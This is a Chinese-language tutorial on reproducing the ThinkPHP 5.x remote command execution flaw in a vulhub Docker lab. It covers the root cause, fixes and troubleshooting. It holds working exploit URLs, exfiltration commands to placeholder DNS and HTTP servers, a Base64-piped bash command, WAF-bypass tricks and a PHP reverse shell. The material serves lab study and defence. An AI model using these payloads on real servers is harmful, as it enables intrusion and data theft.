ThinkPHP 5.x命令执行漏洞(CVE-2018-1002015)深度复现与实战利用
1. 项目概述:一次对经典漏洞的深度复现与剖析
最近在整理一些经典的Web安全漏洞案例,ThinkPHP 5.x的命令执行漏洞(CVE-2018-1002015)是绕不开的一个。这个漏洞在当年影响范围极广,其成因和利用方式非常典型,是理解框架安全、路由解析以及代码审计的一个绝佳样本。很多安全从业者入门时的“第一课”可能就是它,网上也有大量的复现文章和靶场环境。但我在实际复现和教学过程中发现,很多资料要么过于简略,只给个payload了事;要么就是环境搭建复杂,让新手望而却步。所以,我想从一个一线渗透测试工程师的角度,重新梳理这个漏洞,不仅告诉你“怎么打”,更要讲清楚“为什么能这么打”,以及在实际渗透中如何灵活变通。
简单来说,CVE-2018-1002015是ThinkPHP 5.0.x和5.1.x版本中存在的一个远程代码执行漏洞。攻击者可以通过构造特定的HTTP请求,在未授权的情况下,在服务器上执行任意系统命令,从而完全控制服务器。这个漏洞的根源在于框架对控制器名的获取和处理逻辑存在缺陷,未能对用户输入进行有效过滤,最终导致了“命令注入”。对于安全研究人员,复现它有助于理解PHP框架的底层机制;对于开发人员,则是一次深刻的安全警示,提醒我们永远不要信任用户的输入。
2. 漏洞原理深度拆解:从路由到代码执行
要真正理解这个漏洞,我们不能只停留在“有个地方没过滤”的层面,必须深入到ThinkPHP的路由解析和控制器调度流程中去。ThinkPHP作为一款流行的国产PHP框架,其5.x版本采用了“路由-控制器-方法”的MVC架构。用户访问一个URL,框架会将其解析为对应的控制器类和方法去执行。
2.1 核心漏洞点定位
漏洞的核心触发点在于
think\App
类的
module
方法中,对控制器名的处理。在ThinkPHP 5.0.x和5.1.x的某些路由模式下(例如兼容模式或未定义路由时),框架会从请求参数中获取控制器名。关键代码逻辑大致如下:框架会检查URL中是否包含控制器(controller)和方法(action)参数,如果存在,则直接使用。问题就在于,它使用
filter
函数对控制器名进行处理时,过滤规则存在缺陷。
ThinkPHP默认的
filter
函数可能只过滤了空格等少数字符,但对于反斜杠
\
、点号
.
等用于命名空间和类名拼接的特殊字符,过滤并不严格。攻击者可以通过这些字符,实现目录穿越,最终实例化一个非预期的、危险的类。
2.2 利用链构造逻辑
标准的利用链是这样的:攻击者构造一个请求,将控制器(controller)参数设置为类似
think\app\invokefunction
的路径。这里
think\app
是ThinkPHP内置的一个类,而
invokefunction
是这个类的一个方法。这个方法的设计初衷可能是用于内部回调,但它有一个致命特性:可以执行通过参数传递过来的任意函数。
当我们通过请求调用
think\app\invokefunction
方法时,我们可以通过请求参数向其传递要执行的函数名和参数。例如,我们可以传递
call_user_func_array
作为函数名,然后将其第一个参数设置为
system
,第二个参数设置为我们要执行的系统命令。这样,调用链就变成了:
用户请求
->
框架误解析为控制器think\app\invokefunction
->
执行invokefunction方法
->
该方法内部调用call_user_func_array
->
call_user_func_array调用system函数
->
执行我们传入的OS命令
。
这个过程听起来有点绕,但本质就是利用了框架“将用户输入当作类名去实例化并调用”这个信任假设,通过精心构造的输入,一步步“引导”框架代码走向一个危险的执行路径。我常把这个过程比作“骗过导航系统”:你告诉导航要去A地(一个合法的控制器),但实际上你在路口偷偷修改了路径坐标,让车子最终开进了B地(一个危险的函数执行点)。
注意 :不同的小版本(如5.0.23, 5.1.31等)的细节处理和过滤函数可能略有不同,这会导致payload需要微调。例如,有的版本对点号
.过滤更严,就需要用URL编码%2e来代替;有的版本对反斜杠\敏感,可能就需要用正斜杠/(在Linux环境下ThinkPHP可能会自动转换)。这也是为什么网上payload五花八门的原因,核心原理不变,但“绕过姿势”需要根据目标环境调整。
3. 靶场环境快速搭建与配置
工欲善其事,必先利其器。一个稳定、隔离的测试环境是安全研究的基石。我不推荐初学者直接在网上找现成的在线靶场,因为环境可能不稳定,而且无法深入调试。最好的方式是在本地用Docker快速搭建一个漏洞环境。
3.1 使用Docker一键部署
目前最方便的方法是使用
vulhub
项目。Vulhub是一个开源的漏洞环境集合,提供了包括CVE-2018-1002015在内的大量漏洞的Docker Compose配置文件。
首先,确保你的机器上已经安装了Docker和Docker Compose。然后,执行以下命令:
# 1. 拉取vulhub项目代码(如果已有则跳过)
git clone https://github.com/vulhub/vulhub.git
cd vulhub
# 2. 进入ThinkPHP漏洞目录
cd thinkphp/CVE-2018-1002015
# 3. 启动漏洞环境
docker-compose up -d
执行成功后,Docker会自动拉取镜像并启动容器。通常环境会运行在
http://your-ip-address:8080
。你可以用
docker ps
命令查看容器是否正常运行。
3.2 环境验证与访问
在浏览器中访问
http://127.0.0.1:8080
。如果看到ThinkPHP的默认欢迎页面或者一个简单的应用界面,说明环境搭建成功。这个环境通常是一个故意留有漏洞的ThinkPHP 5.0.x或5.1.x版本的应用。
为了后续调试方便,我建议进入容器内部看看结构:
# 查看运行中的容器ID
docker ps | grep thinkphp
# 假设容器ID是 abc123,进入容器bash
docker exec -it abc123 /bin/bash
进入后,你可以查看
/var/www/html
目录下的ThinkPHP框架代码,特别是
application
和
thinkphp
目录,熟悉一下漏洞版本的代码结构。
3.3 关键配置检查
有时候复现失败,不一定是payload问题,可能是环境配置不对。需要重点检查两个地方:
-
应用调试模式
:在
application/config.php中,app_debug选项最好设置为true。这样当payload有误时,页面上会显示详细的错误信息,而不是一个简单的404或500页面,这对于调试payload至关重要。 -
URL路由模式
:在
application/config.php中,查看url_route_on和url_model。这个漏洞通常在路由未匹配或使用兼容模式(url_model为2或3)时更容易触发。我们的payload构造一般会绕过定义的路由,直接利用默认的控制器解析逻辑。
实操心得 :我习惯在搭建好环境后,先访问一个不存在的路径,比如
http://127.0.0.1:8080/index.php?s=test。如果页面报错信息中显示了ThinkPHP的版本号和跟踪信息,说明调试模式已开,并且框架的路由解析是正常的,这对后续利用是个好兆头。如果只返回空白或404,可能需要调整配置或确认容器是否完全启动。
4. 漏洞利用过程全解析与Payload构造
环境准备好了,现在我们进入最核心的部分:如何构造请求,让服务器执行我们的命令。网上流传的payload很多,我们不仅要会用,还要知道每一个参数的含义和变种。
4.1 基础Payload构造与执行
最经典、最直接的利用方式是通过
index.php
的
s
参数。ThinkPHP通过
s
参数来接收路由路径。一个能执行
whoami
命令的基础payload如下:
http://127.0.0.1:8080/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
让我们拆解这个URL:
-
index.php: 应用入口文件。 -
s=index/\think\app/invokefunction: 这是关键。s参数的值被框架解析为模块/控制器/方法。这里我们指定控制器为\think\app,方法为invokefunction。开头的index/是模块名,通常可以省略或替换为其他已存在模块。 -
function=call_user_func_array: 这是传递给invokefunction方法的参数,告诉它我们要调用call_user_func_array这个PHP函数。 -
vars[0]=system: 这是call_user_func_array的第一个参数,即要调用的回调函数,这里我们指定为system,用于执行系统命令。 -
vars[1][]=whoami: 这是call_user_func_array的第二个参数,它是一个数组,包含传递给回调函数的参数。这里我们将要执行的命令whoami作为数组元素传给system函数。
发送这个请求后,如果漏洞存在,页面返回的内容中应该包含当前Web服务器进程的用户名,例如
www-data
或
nginx
。
4.2 Payload的多种变体与绕过技巧
实际渗透中,目标环境可能千差万别,基础payload可能因为过滤、WAF(Web应用防火墙)或版本差异而失效。这就需要我们掌握一些变体和绕过技巧。
1. 使用正斜杠
/
代替命名空间分隔符
\
在某些版本或配置下,ThinkPHP会自动将URL中的
/
转换为
\
。因此,payload可以写成:
/index.php?s=index/think/app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
2. 利用
think\request::input
方法进行链式调用
这是另一个非常有效的利用链,它利用了
think\Request
类的
input
方法。payload如下:
/index.php?s=index/think\Request/input&filter[]=system&data=whoami
-
think\Request/input: 调用Request类的input方法。 -
filter[]=system:input方法支持一个filter参数对输入进行过滤。这里我们将过滤器设置为system函数,这会导致input方法在“过滤”数据时,实际上执行了system命令。 -
data=whoami: 这是要“过滤”的数据,也就是要执行的命令。
这个payload有时比
invokefunction
更稳定,因为它依赖的是框架另一个常用的方法。
3. 命令执行的无回显利用与外带数据 很多时候,命令执行成功了,但页面上没有回显(称为“盲注”)。这时候我们需要通过其他方式把命令执行的结果带出来。
-
DNS外带 : 利用
nslookup或ping命令,将结果包含在DNS查询中,发送到我们可控的DNS服务器。/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=nslookup `whoami`.your-dns-log-server.com你需要将
your-dns-log-server.com替换成一个能接收DNS查询日志的服务器地址。如果命令执行成功,你的DNS服务器会收到一条对{username}.your-dns-log-server.com的查询请求。 -
HTTP外带 : 利用
curl或wget命令,将结果通过HTTP请求发送到我们可控的Web服务器。/index.php?s=...&vars[1][]=curl http://your-web-server.com/ -d “$(whoami)”在你的Web服务器上查看访问日志,就能看到
whoami命令的输出结果作为POST数据发送过来了。 -
写入文件 : 如果服务器有写权限,可以直接将结果写入Web目录下的一个文件。
/index.php?s=...&vars[1][]=whoami > /var/www/html/result.txt然后访问
http://target.com/result.txt查看结果。
4. 编码与特殊字符处理
如果目标对空格、管道符
|
、分号
;
等进行了过滤,我们需要进行编码绕过。
-
URL编码
: 在GET请求中,
&、=、空格等字符有特殊含义。我们需要对命令中的这些字符进行URL编码。例如,执行ls -la需要将空格编码为%20或+。&vars[1][]=ls%20-la -
Base64编码
: 对于复杂的命令,可以先用Base64编码,然后在执行时解码。
这条命令先echo一个Base64字符串(内容是&vars[1][]=echo “Y2F0IC9ldGMvcGFzc3dkCg==” | base64 -d | bashcat /etc/passwd),然后通过管道用base64 -d解码,最后交给bash执行。
注意事项 :在测试命令执行时,务必使用无害的命令开始,如
whoami、id、pwd、ls -la等。避免使用rm -rf /、reboot等破坏性命令,即使在测试环境中也要养成良好习惯。另外,注意命令执行的上下文是Web服务进程(如www-data),其权限可能受限,无法访问某些目录或执行某些特权命令。
5. 漏洞修复方案与安全开发建议
复现漏洞是为了更好地防御。作为开发人员,了解漏洞如何产生,才能从根本上避免它。
5.1 官方修复方案
ThinkPHP官方在后续版本中修复了此漏洞。修复的核心思路是加强了对控制器名的合法性校验。在
think\App::parseModuleAndClass
等方法中,加入了更严格的过滤,禁止控制器名中包含
\
、
.
等特殊字符,并且对控制器类名进行了白名单校验或严格的命名空间限制,确保只能实例化
app
目录下合法的控制器类。
对于受影响的5.0.x和5.1.x版本,官方发布了安全更新。 最直接有效的修复方案就是升级ThinkPHP框架到最新安全版本 。这是解决已知漏洞的唯一彻底的方法。
5.2 临时缓解措施
如果因为兼容性问题无法立即升级,可以采取以下临时缓解措施:
-
严格配置路由
:在
application目录下的route.php文件中,明确定义所有合法的路由规则,并关闭默认的路由兼容模式(将url_route_on设置为true,url_model设置为1或2,并避免使用模式3)。这样,未定义的路由请求将无法被解析,从而堵住漏洞利用的入口。 -
应用层过滤
:在应用的公共控制器(CommonController)或行为(behavior)中,对获取到的
controller和action参数进行强制过滤,只允许字母、数字和下划线的组合。 -
禁用危险函数
:在PHP配置文件
php.ini中,通过disable_functions指令禁用一些危险的函数,如system,exec,passthru,shell_exec,proc_open,popen等。这相当于釜底抽薪,即使攻击者成功注入了命令执行代码,也无法调用执行系统命令的函数。disable_functions = system,exec,passthru,shell_exec,proc_open,popen -
部署Web应用防火墙(WAF)
:在应用前端部署WAF,可以识别并拦截含有
think\app、invokefunction、call_user_func_array等特征字符的恶意请求。
5.3 面向开发者的安全编码规范
这个漏洞给所有开发者上了一堂深刻的安全课: 永远不要信任任何来自客户端的输入 。
- 输入验证与过滤 :对所有用户输入(GET, POST, COOKIE, HEADER)进行严格的验证和过滤。使用白名单机制,只接受预期范围内的字符。对于控制器、方法名这类用于程序逻辑的输入,应限制为严格的字母数字组合。
-
使用框架的安全方法
:现代框架都提供了安全的参数获取方法。在ThinkPHP中,应使用
Request类的param方法,并指定参数类型,而不是直接使用$_GET或$_POST超全局变量。 -
最小权限原则
:运行Web服务的进程(如php-fpm)应该使用最低必要的权限用户(如
www-data),并限制其文件系统访问范围和系统命令执行能力。 - 及时更新与安全审计 :保持框架、组件和服务器环境的及时更新。定期对自身代码进行安全审计,或使用自动化代码审计工具进行扫描。
6. 漏洞复现中的常见问题与排查实录
即使按照步骤操作,复现过程中也难免会遇到各种问题。这里我总结几个最常见的“坑”和解决方法。
6.1 问题一:页面返回404或空白页
可能原因及排查 :
-
环境未正确启动
:首先用
docker ps确认容器是否在运行状态(STATUS为Up)。用docker logs [容器ID]查看容器日志,是否有PHP报错。 -
入口文件路径错误
:确认你访问的URL是否正确。有些Docker环境可能映射到子目录,例如
http://ip:port/public/index.php。进入容器查看Web根目录的实际结构。 -
路由模式限制
:漏洞在严格的路由模式下可能无法触发。尝试访问
http://ip:port/index.php(不带任何参数),如果显示ThinkPHP默认页,再尝试带payload。或者,检查application/config.php中的url_route_on,尝试将其临时设置为false进行测试。 - 调试模式未开启 :如果调试模式关闭,语法错误或类不存在错误可能导致空白页。开启调试模式能看到具体错误信息。
6.2 问题二:命令执行无回显
可能原因及排查 :
-
命令执行成功但无输出
:你执行的命令本身可能没有标准输出。例如
mkdir test命令成功执行后不会在页面上显示内容。换用有输出的命令测试,如whoami,pwd,echo hello。 -
输出被重定向或缓冲区问题
:尝试在命令末尾加上
2>&1,将标准错误也重定向到标准输出。例如:whoami 2>&1。 - 盲注情况 :如前所述,使用DNS或HTTP外带技术验证命令是否执行。
-
安全配置
:服务器可能禁用了
system、shell_exec等函数。在容器内创建一个PHP文件<?php phpinfo(); ?>,访问它,查找disable_functions配置项,看相关函数是否被禁用。
6.3 问题三:Payload被WAF或ModSecurity拦截
可能原因及排查 :
-
特征匹配
:Payload中包含
system、exec、base64、/bin/bash等敏感关键词,被规则拦截。 -
绕过尝试
:
-
字符串拼接
:
$a='sys';$b='tem'; ($a.$b)('whoami');。在PHP中,可以通过参数传递的方式尝试构造。 -
使用其他函数
:如果
system被禁,尝试passthru()、exec()、shell_exec()、反引号`、popen()等。 - 编码绕过 :除了Base64,还可以尝试Hex编码、Rot13编码等。
-
利用通配符
:在Linux下,
/???/??t /???/p??swd可以匹配到/bin/cat /etc/passwd。问号?代表一个任意字符。
-
字符串拼接
:
6.4 问题四:复现成功但无法获取反向Shell
可能原因及排查 :
-
网络连通性
:确保你的攻击机IP和端口没有被防火墙阻挡。可以在目标服务器上执行
curl http://your-ip:port测试是否能访问到你的监听服务。 -
命令中的特殊字符
:用于反弹Shell的命令(如
bash -i >& /dev/tcp/...)中包含重定向符>&,在URL中需要正确编码。通常需要将整个命令进行Base64编码后执行。 -
目标环境缺少工具
:目标容器可能是一个极简环境,没有
bash、nc(netcat)甚至sh。尝试使用更通用的方法,如用PHP代码反弹Shell:
记得将命令中的IP和端口替换成你的。&vars[1][]=php -r '$sock=fsockopen("your-ip",port);exec("/bin/sh -i <&3 >&3 2>&3");'
每次复现遇到问题,最有效的调试方法就是“看日志”和“简化测试”。开启PHP错误日志,将复杂的payload简化为最简单的
echo 123
,逐步增加复杂度,同时观察Docker容器日志和Web服务器错误日志,这样才能快速定位问题所在。漏洞复现不仅仅是运行一个脚本,更是一个理解系统交互、学习问题排查的过程,这些经验在真实的渗透测试中无比宝贵。
更多推荐
所有评论(0)